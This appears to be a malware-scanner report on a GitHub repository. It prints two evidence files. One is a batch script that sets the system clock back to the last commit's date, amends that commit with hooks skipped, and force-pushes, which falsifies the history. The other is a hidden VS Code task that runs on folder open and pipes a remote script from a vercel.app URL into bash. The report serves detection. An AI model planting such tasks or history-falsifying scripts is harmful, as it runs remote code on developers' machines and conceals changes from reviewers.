simalchaudhari/spin
Git history falsification and hook bypass
Concealed folder-open task fetches and pipes a remote shellStages content before a falsified force-push
SHA-25679c5144b0f08ebac8884face34ca64c17fdfa405834e2e2a0751e675f2b02479
MaleculeO(Er)H(Po)
Evidence
1@echo off
2for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A
3for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A
4for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A
5for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A
6for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A
7for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A
8echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
9echo %LAST_COMMIT_TEXT%
10echo %USER_NAME% (%USER_EMAIL%)
11echo Branch: %CURRENT_BRANCH%
12set CURRENT_DATE=%date%
13set CURRENT_TIME=%time%
14date %LAST_COMMIT_DATE%
15time %LAST_COMMIT_TIME%
16echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
17git config --local user.name %USER_NAME%
18git config --local user.email %USER_EMAIL%
19git add .
20git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
21date %CURRENT_DATE%
22time %CURRENT_TIME%
23echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit!
24git push -uf origin %CURRENT_BRANCH% --no-verify
25@echo on
1{
2 "version": "2.0.0",
3 "tasks": [
4 {
5 "label": "env",
6 "type": "shell",
7 "osx": {
8 "command": "curl https://default-configuration.vercel.app/settings/linux?flag=9-test | bash"
9 },
10 "linux": {
⋯4 lines
15 },
16 "problemMatcher": [],
17 "presentation": {
18 "reveal": "never",
19 "echo": false,
20 "focus": false,
21 "close": true,
22 "panel": "dedicated",
23 "showReuseMessage": false
24 },
25 "runOptions": {
26 "runOn": "folderOpen"
27 }
28 }
29 ]
30}
⋯17 lines
18 }
19 },
20 "terminal.integrated.defaultProfile.windows": "Command Prompt",
21 "terminal.integrated.profiles.linux": {
22 "GitHub CLI": {
⋯25 lines
No evidence locations were recorded for this file. Raw result